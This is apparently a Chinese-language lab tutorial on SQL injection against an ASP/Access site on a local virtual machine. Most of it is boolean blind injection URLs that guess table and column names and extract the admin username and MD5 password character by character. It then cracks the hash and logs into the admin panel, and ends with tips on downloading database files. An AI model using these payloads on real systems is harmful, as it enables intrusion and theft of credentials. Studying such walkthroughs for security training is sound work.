一、爆數據庫類型
SQL Server有一些系統變量和系統表,如果服務器IIS提示沒關閉,並且SQL Server返回錯誤提示的話,
可以直接從出錯信息中獲取判斷數據庫的類型
1、內置變量爆數據庫類型
User”是SQL Server的一個內置變量,它的值是當前連接的用戶名,其變量類型為“nvarchar"字符型。通過提交查詢該變量,根據返回的出錯信息即可得知數據庫類型。方法是在注入點之后提交如下語句。
and user>0
一、案例
注:后面http://192.168.1.55:901/news_view.asp?id=14這段可能會有變化,大家根據自己的做就行,更換是因為電腦出現問題才更改的ip
1.找注入點
首先打開之前在虛擬機上面裝的網站
點擊找注入點
2.准備注入(access注入大多要靠猜)
①:猜表名
將這條語句粘貼到網站,結果如下圖所示exists(select * from users),說明數據庫中沒有user表,然后換成administrator返回正確頁面,
說明存在administrator表
②:猜字段
exists(select username from administrator)
返回錯誤信息,說明不存在username字段,繼續提交。
exists(select user_name from administrator)
返回正常頁面,administrator表中存在字段user_nam
③:猜解字段長度
再繼續猜測第一個字段內容長度。(前面的http://192.168.1.55:901/news_view.asp?id=14)根據自己的ip改變
http://192.168.1.55:901/news_view.asp?id=14 and (select top 1 len(user_name) from administrator)>1//正常
http://192.168.1.55:901/news_view.asp?id=14 and (select top 1 len(user_name) from administrator)>2 //正常
http://192.168.1.55:901/news_view.asp?id=14 and (select top 1 len(user_name) from administrator)>5 //報錯
說明administrator表中的user_name 字段長度為5
④:猜解字段內容
現在猜解字段內容並提交。
http://192.168.1.55:901/news_view.asp?id=14 and (select top 1 asc(mid(user_name,1,1)) from administrator)>0 //返回正常頁面
說明ASCII值大於0 ,字段值應該為字母,如果是小於0那么說明是漢字,下面我們繼續猜解。
http://192.168.1.55:901/news_view.asp?id=14 and (select top 1 asc(mid(user_name,1,1)) from administrator)>500 //返回錯誤頁面
說明字段對應的ASCll值在0和500之間。繼續提交。
http://192.168.1.55:901/news_view.asp?id=14 and (select top 1 asc(mid(user_name,1,1)) from administrator)>100 //返回錯誤頁面
說明字段對應的ASCll值在0和100之間。繼續提交。
http://192.168.1.55:901/news_view.asp?id=14 and (select top 1 asc(mid(user_name,1,1)) from administrator)>90 //返回正常頁面
說明字段對應的ASCll值在90和100之間。繼續提交。
http://192.168.1.55:901/news_view.asp?id=14 and (select top 1 asc(mid(user_name,1,1)) from administrator)>96 //返回正常頁面
說明字段對應的ASCll值在96和100之間。繼續提交。
http://192.168.1.55:901/news_view.asp?id=14 and (select top 1 asc(mid(user_name,1,1)) from administrator)>97 //返回錯誤頁面
說明administrator表中的user_name字段的第一位ASCII值為97。通過反查ASCII值對應的字母,得到字符值為“a”接着第二位查詢。
http://192.168.1.55:901/news_view.asp?id=14 and (select top 1 asc(mid(user_name,2,1)) from administrator)>99 //返回正常頁面(注:查第二個字母的時候記得把user_name后面的1變成2)
http://192.168.1.55:901/news_view.asp?id=14 and (select top 1 asc(mid(user_name,2,1)) from administrator)>100 //返回錯誤頁面
用同樣的方法,可猜解user_name字段值和password值,最終得到如下結果:
[user_name]:admin
[password]:21232f297a57a5a743894a0e4a801fc3
可看出password的值為32位MD5加密,使用MD5在線破解工具進行破解,得到明文密碼為admin.
得到管理員用戶名和密碼后,登錄后台:http://192.168.1.55:901/admin/index.asp,輸入猜解出來的用戶名和密碼.就可以成功進入網站后台頁面。
小提示: access數據庫都是存放在網站目錄下,后綴格式為mdb,asp,asa,可以通過一些暴庫手段、目錄猜解等直接下載數據庫,如果是MSSQL、MYSQL等,一般數據庫是存儲在數據庫安裝路徑下,后綴格式為myi,myd,frm,mdf 不能通過下載得到庫。除非走狗屎運,對方管理員把網站庫備份在網站目錄下。
php+mysql
數據庫存儲在數據庫安裝路徑下,后綴格式myi,myd,frm